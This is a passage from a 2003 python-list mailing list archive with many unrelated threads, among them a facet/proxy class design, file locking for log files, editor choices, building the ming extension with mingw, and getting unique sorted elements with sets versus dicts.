> if a client wants interface1, then she will get foo and bar (which is
> actually bar1). if he picks interface 2, then she will get foo and bar
> (which is actually bar2). for all she cares, she just wants to know/deal
> with a single [versatile] class, C. and from that single class, she can
> pick several sets of features/interfaces she needs/wants.
>
> the above code does what i want to accomplish, but i think it's very
> ugly. can anyone make it more elegant?
>
It's not perfect but here is my best:

class Facet:
    def __init__(self, obj):
        self._obj = obj
    def __getattr__(self, attr):
        return getattr(self._obj, attr)
    # ditto for setattr, delattr if needed

class C:
    def foo(self):
        print "foo"
    class facet1(Facet):
        def bar(self):
            print "bar version 1"
    facet1 = property(facet1)
    class facet2(Facet):
        def bar(self, arg):
            print "bar version 2, arg =", arg
    facet2 = property(facet2)

c1 = C().facet1   # client1 picks interface1
c1.foo()          # prints "foo"
c1.bar()          # prints "bar version 1"

c2 = C().facet2   # client2 picks interface2
c2.foo()          # prints "foo"
c2.bar(123)       # prints "bar version 2, arg = 123"

The first change was moving the facet classes into the `C` class.  This is
purely a matter of taste, YMMV.

The main difference is using a common proxy class (`Facet`) that
transparently inherits everything by default from the C instance.  Now you
only redefine the methods that are different and you do that directly in
the facet class.  You can still access attributes of the orignial object
in these methods thanks to Facet's magic.  That's much more readable but
is a bit slower.  If this really bothers you, I could try to turn `Facet`
into a metaclass that would implement all methods inside `C` (with name
mangling) while retaining this way of writing...

The property thing is optional - it looks a bit better to me.  If you
don't use it, you'll want to use somethign like your original `facet`
factory method, to avoid writing ``c = C(); c1 = c.facet1(c)``.  I was
pleasantly surprised that ``property(facet1)`` worked as is (the `fget`
function of a property, `facet1` in our case, is passed one argument - the
C object - that is exactly what `facet1.__init__` wants :-).

If you create the same facet for one object many times, you might
rather create one copy of each facet in `C.__init__()` (or do it
on-demand) and store it as an attribute of the C instance.

liking-that-``C.facet1.facet2.facet1.bar()``-works-ly y'rs
    Beni Cherniavsky <cben at tx.technion.ac.il>




From tjreedy at udel.edu  Tue Jan  7 21:26:42 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 21:26:42 -0500
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <JiqD$KAGb2G+Ewyl@jessikat.fsnet.co.uk> <loKS9.175$467.90@fe08> <yDYdXKAMg3G+EwGS@jessikat.fsnet.co.uk>
Message-ID: <qqacnfDGga-KEYajXTWcog@comcast.com>

> if unicode is a widened string why doesn't raise u'A' work?

Probably because raising a string is discouraged if not deprecated.
It may disappear in some future version.

TJR






From gerhard.haering at gmx.de  Thu Jan  2 21:49:55 2003
From: gerhard.haering at gmx.de (Gerhard Haering)
Date: Fri, 3 Jan 2003 03:49:55 +0100
Subject: Best Python Editor (under Linux)
In-Reply-To: <87lm23xh06.fsf@gvdnet.dk>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk>
Message-ID: <20030103024955.GA6100@gargamel.ghaering.test>

* Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> [2003-01-03 00:35 +0100]:
> >>>>> "Johan" == Johan  <johan at contillion.com> writes:
> Johan> Anyone know some good Python editors under Linux?  With good
> Johan> color highlightning... :)
> 
> You will do yourself a tremendous favour by familiarising yourself
> with one of the two major Unix editors: Emacs and vi. [...]
> Of course, I had to mention vi, but nobody in their right mind would
> actually use it.

Too true: vim forever :-) I can't stand plain vi.

> Emacs is the One True Editor:

It might be an interesting application framework, but i don't like the editor
part of it, especially the keybindings (yes, I know about viper).

-- Gerhard




From mwm at mired.org  Sun Jan 19 12:13:01 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 19 Jan 2003 17:13:01 GMT
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org> <v2j5mial64f6f@corp.supernews.com> <mailman.1042976675.1843.python-list@python.org> <x7smvp2k20.fsf@guru.mired.org> <3E2AD641.66CA1F88@engcorp.com>
Message-ID: <x7n0lx2hck.fsf@guru.mired.org>

Peter Hansen <peter at engcorp.com> writes:

> One small example of an area that bothers me -- not even related to 
> unit testing -- is the comparison under the subtitle "But isn't 
> defensive programming good thing?" (sic).  It shows the DbC approach 
> as doing exactly what we often recommend *not* doing in this 
> newsgroup: attempting to verify a condition exists prior to actually
> performing the operation that requires that condition.  The
> so-called "defensive" programming version (I would have used that
> term for the DbC version, but maybe "defensive" has a reserved
> meaning in DbC for all I know) shows the more Pythonic approach of
> just performing the operation, then catching the exception if
> one occurs.

You're seeing the difference between Python and a compiled language
that's not as dynamic. If you're writing Python, you're absolutely
correct.

In a language with strong compile-time checking and little or no
run-time checking, you want to get the Python behavior. However, you
can't rely on the run-time checking to do that for you. In the
example, writing beyond the end of the stack because it's full may
well just overwrite memory. So you add a precondition to the contract
to catch that - and *that* raises an exception that you deal with.

Even in the case where the underlying array would raise an exception,
it can be argued that the implementation shouldn't be exposed to the
client. The client should see a StackFull exception, not an IndexError
exception. DbC would provide the former.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From maciej at maciejsobczak.com  Wed Jan 22 03:51:14 2003
From: maciej at maciejsobczak.com (Maciej Sobczak)
Date: Wed, 22 Jan 2003 09:51:14 +0100
Subject: Communication between two programs on unix
References: <b0kvs0$o59$1@bob.news.rcn.net>
Message-ID: <b0lls2$rmn$1@SunSITE.icm.edu.pl>

Hi,

"morden" <morden at shadows.net> wrote in message
news:b0kvs0$o59$1 at bob.news.rcn.net...
> I want to connect the standard output of the tkinter app to the
stdin of
> the motif app to return results and connect stdout of motif app
to the
> input of the tkinter app. Is that doable?

If you really have to use only one single protocol or only one
single approach to communication (say, because it is mandated by
your boss), please ignore my post.

However, if your problem is not really connected to "stdin",
"stdout", "popen" and friends, but rather you are concerned "how
to make two apps communicate", then I encourage you to step back
and look at the problem with broader perspective. It may happen
that by going your initial path you will lose some better design
opportunities.

If you want your apps to communicate (just this), go for sockets
or follow my signature to find out if my library fits your needs.
Chances are it does (and it is much easier!). There are much
better ways to exchange messages than the low-level stuff you ask
for.

--
Maciej Sobczak
http://www.maciejsobczak.com/

Distributed programming lib for C, C++, Python & Tcl:
http://www.maciejsobczak.com/prog/yami/






From tawNOSPAM at redhat.com  Tue Jan 14 07:37:25 2003
From: tawNOSPAM at redhat.com (Todd Warner)
Date: Tue, 14 Jan 2003 07:37:25 -0500 (EST)
Subject: flock experience
In-Reply-To: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
Message-ID: <Pine.LNX.4.44.0301140718070.18725-100000@devserv.devel.redhat.com>

File-locking *can* be tricky. Word of caution: if the log-file resides
on an NFS file-system, things can be... unreliable. We've had issues in
the past with that. NFS, from what I understand, cannot guarantee when
something is actually written to disk (note: not an NFS expert).

If you want to do file-locking, standard producer-consumer code should
do the trick (blocks when someone is writing, and when someone *wants*
to write, but the file is "busy"), using flock (which is easier) or 
FCNTL (which is a bit more esoteric, but gives you more control).

For a log file though, my recommendation is... open the file in append
mode for updating, and line-buffered eg. fo = file('logfile.log', 'a+', 1).
This works well enough for logfiles. Even with many processes.

Of course, there is the option of having a logfile per process, but
that's... messy (depends on the application of course).

I hope this was somewhat helpful.

On Tue, 14 Jan 2003, Robin Becker wrote:
> has anybody good experience using file locking in python. I have the
> typical problem of opening a log file for a short time (cgi environment)
> in a multiprocess world. So far I think we have been lucky, but our 8
> machine front end is contracting to one machine, just for us, so the
> collision probabilities are rising. I see there's a recipe in the pcb,
> but what happens to locked out processes etc etc.
> 

-- 
____________
 /odd Warner                                    <taw@{redhat,pobox}.com>
          Bit Twiddler - Operation Cheetah Flip - Red Hat Inc.
---------------------gpg info in the message headers--------------------
"Sometimes you need to build a fire to keep warm, but you can't,
 and you freeze to death."
                  -Jack London, "To Build a Fire", book-a-minute version





From skip at pobox.com  Fri Jan 31 08:12:17 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 07:12:17 -0600
Subject: dynamically import
In-Reply-To: <3E3A1798.6010907@reidlai.com>
References: <3E3A1798.6010907@reidlai.com>
Message-ID: <15930.30257.427928.563102@montanaro.dyndns.org>

    Reid> How can I have a database connection depending on different DBI
    Reid> 2.0 module dynamically?

You mean like this:

    try:
        import MySQLdb
        DB = "MySQL"
        ...
    except ImportError:
        import psycopg
        DB = "PostgreSQL"
        ...

?

Skip




From imbosol at vt.edu  Sat Jan 11 14:13:24 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 11 Jan 2003 19:13:24 GMT
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <o1_T9.17733$uL2.7895@nwrddc01.gnilink.net>

Jonathan P. wrote:
> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.
> 
> I was thinking of using '_' ('I' is a distant second
> choice) instead of self.  Comments?


This must be self-loathing week.  If you're going to do that, I
recommend that you not use the underscore.  The underscore has come to
be used for internationalization (with good reason, I would say).  If
you use the underscore, you're now violating two community standards.

'I' is probably the best one character self; at least it's somewhat
descriptive and reminiscent of 'self'.

I think it's most wise not to deviate from self, though.


-- 
CARL BANKS



From dgallion1 at yahoo.com  Fri Jan  3 23:36:19 2003
From: dgallion1 at yahoo.com (darrell)
Date: Sat, 04 Jan 2003 04:36:19 GMT
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <mailman.1041650946.1018.python-list@python.org>
Message-ID: <7xtR9.68233$eq2.17503771@twister.nyroc.rr.com>

Gerhard Haering wrote:

> * darrell <dgallion1 at yahoo.com> [2003-01-04 03:07 +0000]:
>> Multiple ping sounded like fun.
>> So here's a quick mod to some ping code I found.
>>
>> #!/usr/bin/env python
>> [icmp code in Python]
> 
> This needs superuser privileges, right?
> 
> Do you work as root by default, because you don't mention this necessity?!
> 

The need for root is in there.
# Note that ICMP messages can only be sent from processes running
# as root.

If you expand this app with something like ipRange("192.168.1.*")
The idea being to ping a range of IP's
Then the idea of threads might be a problem.

--Darrell




From aka at mvps.org  Wed Jan 15 20:28:47 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Wed, 15 Jan 2003 20:28:47 -0500
Subject: ActivePython on Windows: References Question
References: <mailman.1042579468.2572.python-list@python.org> <b02595$kufqe$1@ID-136433.news.dfncis.de> <Ci5V9.13854$UB4.63122@news-server.bigpond.net.au>
Message-ID: <b051sc$lnmgc$1@ID-136433.news.dfncis.de>

Mark,

One thing I should mention is that I'm approaching this from the perspective of
people who already use vanilla WSH to do system administration and are wanting
to extend their abilities incrementally without tackling an entire new model and
without learning the entire language immediately.

"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:Ci5V9.13854$UB4.63122 at news-server.bigpond.net.au...
> Alex K. Angelopoulos wrote:

> ... there is nothing WSH can do that Python itself can not do...

I think we can start with that as a given; with the model for tools which can be
used by languages in active scripting hosts on Windows, every WSH-accessible
enhancement made is also available to Python via COM access anyway.

>  Hence I can see no reason at all to use Python under WSH.

I can think of a significant one, but not one of importance to most Python
users.   If you're an administrator used to working with WSH from VBScript,
Python is an interesting option for expanding your power.  Unfortunately, few of
them will be willing to do a full download and install, then start grinding
through learning both the language and a different model to start doing simple
scripting.  Plopping a little bit of Python code into another set of script tags
in a WSF file, though, is a different story.

Win32 support doesn't really need anything new for that.  The basics were
implemented a long time ago (1998-9?), are sufficient for the present, and with
a new "paradigm" based on the .NET development environment around the corner,
there would be little reason to implement new support for the older, slower,
COM-based access model anyway.

Insofar as there are currently some weaknesses, they are primarily in  the area
of not having useful "plug-and-chug" components for admins thinking about
starting to dabble in Python with their WSH scripts; and a significant reason
for that is the lack of people demanding it.  While googling comp.lang.python, I
think I've seen about 6 questions that would fall into that category in the last
2-3 years, and all of them could be answered "off-the-shelf".

Since I'm asking about this, I suppose I should be the person to implement more
examples if I want them out there, huh?

> > I suspect the major problem is the lack of a lot of interest in this hosting
> > model.
>
> This is largely true.  People using Python are generally unlikely to
> choose IIS/ASP as their web hosting model.  People choosing IIS/ASP as
> their hosting model are more likely to stick with VB/JS.

Yeah, yeah... <g>


> > in source form, a "Forthish" example available for download from MSKB.
>
> That is a blast from the past :)

Makes a handy RPN calculator engine, too. <g>


> Is pure Python code, but will only work under WSH.  While Python is not
> *creating* these WSH objects directly, it is still creating them and
> using them like any other COM object.
>
> ie, this code is almost identical to:
> WshShell = win32com.client.Dispatch("WScript.Shell")
> WshShell.Popup(...)
>
> The fact one is run under WSH and the other via Python directly is
> really just a matter of a few levels of indirection.
>
> I'm not trying to argue with anything you said, but am trying to
> downplay the relevence <wink>
>

Those few levels of indirection make a difference to "plug'n'pray" windows
scripters.   We have significant weaknesses in the areas of both
programming/scripting model comprehension and attention span, over there. <g>





From exarkun at intarweb.us  Fri Jan 24 14:53:42 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 14:53:42 -0500
Subject: killing thread ?
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHGEDIEKAA.tim.one@comcast.net>
References: <20030124174424.GA15614@meson.dyndns.org> <BIEJKCLHCIOIHAGOKOLHGEDIEKAA.tim.one@comcast.net>
Message-ID: <20030124195342.GD15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 01:35:41PM -0500, Tim Peters wrote:
> [Jp Calderone]
> > ...
> > It is currently not possible to write a secure sandbox in
> > Python.  I'm not sure if you can call that a bug; it's certainly
> > unfortunate.
> 
> Just curious:  does there exist a programming language in which it is
> possible do this?  If so, who guarantees it, and via what kind of validation
> process?
> 

  Implementations tend to fall short, even if the language specifies that
such security is possible.  Java and Javascript claim it, and fall short. 
You -could- make a Python implementation that claimed it, there's nothing
about the language that inherently prevents it that I know about.  Actually
there's been talk recently on python-dev on how to handle the secure parts
of Python, possibly doing a fork of the interpreter, or a separate dev tree
to try to make the supposedly secure features actually secure, etc.  What's
my point?  I'm not sure :)  I guess my answer is this: I don't know of any
language implementation that tries and succeeds at this goal.

  Jp

-- 
"Pascal is Pascal is Pascal is dog meat."
                -- M. Devine and P. Larson, Computer Science 340
-- 
 up 39 days, 23:49, 2 users, load average: 0.74, 0.69, 0.60
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/3197139b/attachment.sig>

From nightdriver at bolt.com  Thu Jan 30 05:00:20 2003
From: nightdriver at bolt.com (nightdriver)
Date: 30 Jan 2003 02:00:20 -0800
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com> <slrnb3fusl.1d4.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <d2810a8.0301300200.412e935f@posting.google.com>

Thanks for reading and of course replying.

Sorry i dont want to "insult" mingw32 but i tried to compile 20 times
and i came up only with garbage errors (sure cause of me :)).

Well i will try the route you suggest seems different from my
approach, in my test i have to heavy modify headers for mingc
wrappers.

Thanks,
nightdrv

Gerhard H?ring <gerhard.haering at opus-gmbh.net> wrote in message news:<slrnb3fusl.1d4.gerhard.haering at haering.opus-gmbh.net>...
> nightdriver <nightdriver at bolt.com> wrote:
> > I repost because no one reply to me.
> 
> Ok, to prevent an endless chain of reposts ... ;-)
> 
> > Hi there,
> > i am in search of a mingc.pyd for the latest windows release of phyton
> > anybody can point me to url that contain this (or send it to me).
> > 
> > Please help me i've searched to compile the module by myself but under
> > windows compile with gcc/mingw32 is UGLY.
> 
> Don't you insult my mingw!!!1 In fact, this is quite easy if you RTFM for
> distutils. No, you don't need to mess with the ming Makefiles *at all*.
> 
> And no, I won't just build a binary and send it to you, because that hasn't
> much pedagogic value :-P
> 
> So here it goes:
> 
> Prerequisites: you've installed mingw toolchain and built the import library
> for Python [1].
> 
> 1) Download and unzip the ming [2] sources
> 2) cd into src/ and do a "make static"
> 3) copy the following distutils setup.py file into py_ext/
> 
> #----------------8<----------------------------------------------------
> from distutils.core import setup
> from distutils.extension import Extension
> 
> setup ( name = "ming",
>         version = "0.2a",
>         description = "A library for creating Shockwave files.",
>         py_modules = ["ming"],
>         ext_modules = [Extension( name='mingc',
>                                   sources=['ming_wrap.c'],
>                                   include_dirs=[".."],
>                                   library_dirs=["../src"],
>                                   libraries=["ming"]
>                                   )]
>         )
> #----------------8<----------------------------------------------------
> 
> 4) cd into py_ext/ and issue "python setup.py build --compiler=mingw32"
> 
> 5) if you want to create an installer, issue "python setup.py bdist_wininst"
> 
> Now you have a Windows installer for the Python ming wrapper under dist. The
> whole thing took me about five minutes, but I confess this isn't the first
> setup.py I hacked.
> 
> But if you want to create a Python extension, crafting your own setup.py is
> always easier than messing with Makefiles.
> 
> Anyways, in exchange, could you polish this setup.py a little (add copyright,
> author, author_email and so on fields) and send a patch to the ming maintainer?
> I myself can't be bothered any longer with this because I don't use ming and am
> not at all interested in Shockwave, Flash and their likes.
> 
> building-ming-with-mingw-ly yours,
> 
> Gerhard
> 
> [1] http://www.python.org/doc/current/inst/non-ms-compilers.html
> [2] http://ming.sf.net/



From lac at strakt.com  Sun Jan  5 09:39:09 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 15:39:09 +0100
Subject: Can emacs support auto complete of python? 
In-Reply-To: Message from "David M. Cook" <davecook@nowhere.net> 
   of "Sun, 05 Jan 2003 14:22:19 GMT." <slrnb1gfvp.1ga.davecook@localhost.localdomain> 
References: <mailman.1041771677.3260.python-list@python.org> <slrnb1gfvp.1ga.davecook@localhost.localdomain> 
Message-ID: <200301051439.h05Ed9jL024866@ratthing-b246.strakt.com>

> In article <mailman.1041771677.3260.python-list at python.org>, Nadav Horesh
> wrote:
> 
> > As in IDLE -- try ALT-/
> 
> AFAIK, the only way to do this in emacs (without elisp programming) would be
> e.g. to open the module your working with in another buffer.
> 
> Dave Cook
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I have some happy news for you.  If you put this line in your .emacs

(global-set-key [f3]       'dabbrev-expand)

you can get autocompleting when you press the f3 key.  Bind it to
whatever you prefer ...

Laura Creighton




From samSPAMMENOT at twmi.rr.com  Wed Jan 29 19:56:16 2003
From: samSPAMMENOT at twmi.rr.com (Sam Marrocco)
Date: Thu, 30 Jan 2003 00:56:16 GMT
Subject: portable method for getting system date & time?
In-Reply-To: <mailman.1043875588.5548.python-list@python.org>
References: <o_WZ9.138171$GF.34908845@twister.columbus.rr.com> <mailman.1043875588.5548.python-list@python.org>
Message-ID: <QK_Z9.138411$GF.35144410@twister.columbus.rr.com>


Skip Montanaro wrote:
>     Sam> portable method for getting system date & time?
> 
> import time
> help(time)
> 
> Skip
> 
> 
> 


Thanks! This is what I was looking for!

-- 
==================================================================
Sam J. Marrocco
Sr. Visual Effects Artist/R&D
Travelling Pictures/GTN
Inferno, Flame, Houdini, Maya, All that cool stuff!
"The fact that no one understands you doesn't make you an artist."
==================================================================




From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 16:42:36 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 13:42:36 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <9UiU9.7010$DQ5.4151@nwrddc04.gnilink.net>
Message-ID: <7xfzrym4dv.fsf@ruckus.brouhaha.com>

Neil Schemenauer <nas-usenet at arctrix.com> writes:
> >> In my dreams we'd have a completely self-hosted Python implementation
> >> that compiles to native code on the fly, sort of like the Yale T system.
> > 
> > Never heard of this, but this is my dream, too.
> 
> The history of T:
> 
>     http://www.paulgraham.com/thist.html

That's an interesting article--I hadn't seen it.  The remark about
lexical scope being less efficient than dynamic scope of course
applies only to interpreters and not compilers (the whole point of
Scheme).  RMS of course understood that since he implemented lexical
scope in Lisp Machine Lisp.  And Steele understood it too--Scheme was
designed from the start to be compiled.  (Emacs Lisp is just an
editing extension language and having a native-code compiler for it
would have been crazy).

The T history article may make it sound like a self-hosted system has
to be a massive undertaking, but I don't believe that's true, if
you're not trying to build an ultra-high-powered optimizing compiler.
The T source code is rather good inspirational reading (I'm sure you
can still download it from somewhere).

IIRC the etymology of Scheme-48 is that 48 is 84 spelled backwards--it
was supposed to be a simple implementation of Scheme-84.

I wish that some Lisp implementation gurus could get involved in
Python.  A lot of Python semantics map very naturally onto Lisp, and
bringing Lisp compiler techniques to Python could make Python code
run blazing fast.  

CMU Common Lisp's compiler, by complete coincidence, happens to be
called Python (maybe inspired by Rabbit, the name of the first Scheme
compiler).  Another dream I have is to adapt CMUCL's Python compiler
to compiling the Python language, if for no other reason than to enjoy
the confusion that the name collision would cause ;-).



From blunck at gst.com  Fri Jan 10 17:32:26 2003
From: blunck at gst.com (Christopher Blunck)
Date: Fri, 10 Jan 2003 17:32:26 -0500
Subject: [Python-Dev] [ann] Minimal Python project
In-Reply-To: <20030110154121.F1568@prim.han.de>
References: <20030110154121.F1568@prim.han.de>
Message-ID: <20030110223226.GE31668@homer.gst.com>

Boss.

On one of our projects, we are only allocated a 32Mb footprint in which to
fit kernel, root filesystem, essential libs (c and curses for example), and
our actual product.  

A component of our product is a configuration gui that we wrote in py.  We
put a lot of effort into shrinking down py and getting it as small as we
could in order to fit on the filesystem (recall that running a linux system
writes stuff (utmp for example) that must have space above your installation
waterline).  We had a lot of success.

I'm very encouraged and excited about this project.

Definitely keep the world posted, as this could really open some doors for us.


-c

-- 
  5:30pm  up 81 days,  8:46,  1 user,  load average: 0.14, 0.30, 0.61




From Padraig at Linux.ie  Tue Jan 28 12:38:15 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Tue, 28 Jan 2003 17:38:15 +0000
Subject: sort by last then by first
In-Reply-To: <b16eem$u47$1@slb5.atl.mindspring.net>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie> <b1607o$2iq$1@slb5.atl.mindspring.net> <3E368C10.3050000@Linux.ie> <b16b0f$as5$1@slb0.atl.mindspring.net> <3E36B5BF.4060700@Linux.ie> <b16eem$u47$1@slb5.atl.mindspring.net>
Message-ID: <3E36C007.8040205@Linux.ie>

Andrew Dalke wrote:
> Padraig at Linux.ie replied to my post:
>  > I was suggesting this as a way to auto convert data that
>  > was already in string format. For e.g. if importing tabular
>  > data, using split, then you get all string fields. Actually
>  > it would be good if you could pass to split what format the
>  > fields are, something like:
>  >
>  > line.split('\t',4,(str,int,float,str))
> 
>  >>> line = "Spam\t-1\t9.8\tEggs"
>  >>> [f(s) for f, s in zip( (str, int, float, str), line.split('\t') )]
> ['Spam', -1, 9.8000000000000007, 'Eggs']

nice, but still more overhead than what I suggested.
Still there's always a tradeoff between speed and
usability/generality, and I think you're correct here.

>  > > Why not just write this as Python code?
>  >
>  > speed
> 
> which is why I suggested
> ] f = attr("name1").reverse() + attr("name2").as(int) + \
> ]        col(4).as(float).reverse()
>    ....
> ] and for optimization you can also implement
> ]
> ] f.sort(x)
> ]
> ] which would do the fast decorate, sort, undecorate.
> 
> This should be exactly as fast as anything you can do by
> special encoding of the sort parameters in the sort() call.
> Maybe even faster, because they way you want it implies
> there may still be O(n Log(n)) function callbacks into
> Python, which is not necessarily the case with
> decorate/sort/undecorate.
> 
> And potentially nicer because I can extend the system as
> I wish, in Python.
> 
> So again, the answer to your question/statement:
>  > wouldn't it be cool if [].sort() took an optional parameter that
>  > was essentially the --key option in gnu sort. in this e.g:
> 
> is no.

Agreed :-)

P?draig.




From adalke at mindspring.com  Mon Jan  6 05:23:48 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 06 Jan 2003 03:23:48 -0700
Subject: sorted unique elements from a list; using 2.3 features
In-Reply-To: <mailman.1041832210.3104.python-list@python.org>
References: <mailman.1041832210.3104.python-list@python.org>
Message-ID: <avbltt$kb4$1@slb0.atl.mindspring.net>

Delaney, Timothy wrote:
> Using sets is definitely the Right Way (TM) to do it. This is one of the
> primary use cases for sets (*everyone* wants to do this).

   - the performance of Sets is slower than that of a simple dict
       (because, after all, Sets are built on top of a dict but with
        extra overhead).  I just tested it -- fromdict is about 20%
       faster than using Set

 >>> import time, sets, random
 >>> data = [random.randrange(1000000) for i in range(2000000)]
 >>> def do_set():
...   return len(sets.Set(data))
...
 >>> def do_dict():
...   return len(dict.fromkeys(data).keys())
...
 >>> t1=time.clock();do_set();t2=time.clock()
865149
 >>> t2-t1
2.9100000000000001
 >>> t1=time.clock();do_dict();t2=time.clock()
865149
 >>> t2-t1
2.3299999999999983
 >>> 2.33/2.9
0.80344827586206902
 >>>


   - there's the extra import, which is a bit tedious if you don't
        need the power of a Set

   - using dicts is a basic part of using Python, so the step to using
        a different way to construct a dict is easier than thinking
        about using a different class


>>(The 'list()' is needed because that's the only way to get elements
>>out from a list.  It provides an __iter__ but no 'tolist()' method.)
> 
> 
> And this is the canonical way to transform any iterable to a list. Why
> should every class that you want to transform to a list have to supply a
> `tolist` method? Why not a `totuple` method?

I put that there as a reminder for fogies like me who even now have
spent more time on pre-2.x version of Python than post-2.x versions.
When I started back in the 1.3 days, there were modules like 'array',
which *did* have a 'tolist' method, and that was the proper way to
do it.

 >>> import array
 >>> x=array.array("c", "AndreW")
array('c', 'AndreW')
 >>> x.tolist()
['A', 'n', 'd', 'r', 'e', 'W']
 >>>

The implication that there should be one was not my intention, though
my wording in that regard was unfortunate.

This is also a case where it isn't obvious how to get data from a
container.  Every other container spells it through [] or through
a method name which *doesn't* start with a "_".  So people just
starting with a Set might not know what to look for.

It would be nice if the example code showed iterating data from
a Set...


>>The other is with the new 'fromkeys' class, which constructs
> 
> 
> Actually, dictionary class (static?) method.

Yep.  Meant to say "class method".  Just didn't get through my
fingers.

> This, whilst slightly shorter (due to no import - which in future versions
> will be going away anyway), is definitely *not* the Right Way (TM) to do it.
> It is likely to confuse people.

It will?  Given how much pre-2.3 code uses the "build a dict then
get the keys" to get the unique values in a data set, it's an idiom
that any intermediate Python programmer should understand and expect
to understand.

As for beginning Python programmers, I can't put myself into their
shoes.

My feeling for now is that I'll use "Set" when I want to do set
manipulations, like

   set1 = { identifiers matching query 1}
   set2 = { identifiers matching query 2}
   total = set1 + set2

and not use it for getting unique values.


					Andrew
					dalke at dalkescientific.com




From altis at semi-retired.com  Sat Jan 25 12:56:22 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 25 Jan 2003 09:56:22 -0800
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <fcAY9.37$Sf4.29148@news.uswest.net>

"Norm" <norm at norm.com> wrote in message
news:3e32a1a6_4 at corp.newsgroups.com...
> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
>
> I'm learning / practicing with IDLE Python GUI.
>
> Q.  What does the real Python community use for creating Python programs?
>
> Thanks
> norm

You'll just need to try some. It is critical that the editor you use is
Python-aware, can highlight things like mixed tabs and spaces, which can
cause errors when trying to run your scripts; you should just use 4 spaces
per indent, but your editor should be able to bind the tab and shift-tab
keys to automatically indent and dedent correctly while editing. If you are
already familiar with using vi(m) or Emacs or any of the other editors
listed in the links below, then there is a lot to be said for not switching
editors and just getting a Python mode working with the editor you already
know. If you don't already know vi(m) and Emacs then I strongly urge you not
to try and come to grips with either of those editors while learning Python,
that would simply be cruel and unusual punishment. You'll have time to learn
to love or hate vi(m) or Emacs or neither after you've learned Python.

http://www.python.org/editors/

http://www.python.org/cgi-bin/moinmoin/PythonEditors

I think the important thing is to make sure you have an integrated shell as
part of your editor or Terminal/Console so that you can try things out. The
better Python shell wrappers have auto-completion and calltips, IDLE does
not support this. Personally, I use PyCrust, which is part of the wxPython
distribution.

http://www.wxpython.org/

There is also IPython

http://www-hep.colorado.edu/~fperez/ipython/

To see what I mean by auto-completion and call tips, look at the last two
images of the Shell (PyCrust) documentation here:

http://pythoncard.sourceforge.net/shell.html

You may also want to look at a more focused list of resources for learning
Python from the PythonCard docs page:

http://pythoncard.sourceforge.net/learning_python.html

ka
----
Kevin Altis
http://radio.weblogs.com/0102677/
http://ww.pythoncard.org/





From LogiplexSoftware at earthlink.net  Mon Jan 13 16:13:30 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 13 Jan 2003 13:13:30 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
In-Reply-To: <ef7a350b.0301131300.58ad06@posting.google.com>
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>
	 <mailman.1042235066.17749.python-list@python.org>
	 <ef7a350b.0301131300.58ad06@posting.google.com>
Message-ID: <1042492409.1820.386.camel@software1.logiplex.internal>

On Mon, 2003-01-13 at 13:00, Sean wrote:
> Cliff, 
> 
>   Thanks for the pointer.  That got rid of the text showing up as
> boxes.  The other problem I was having was a wxStaticText control
> object in my frame's toolbar keeps disapearing whenever I resize the
> frame.  It comes back if I give focus to another window and then
> switch back, but refreshing the frame (or toolbar) on resize events
> does not seem to help.

Do you have a small piece of code you could post (or send me) so I can
take a look?

Also, please don't top-post.  It makes the conversation difficult to
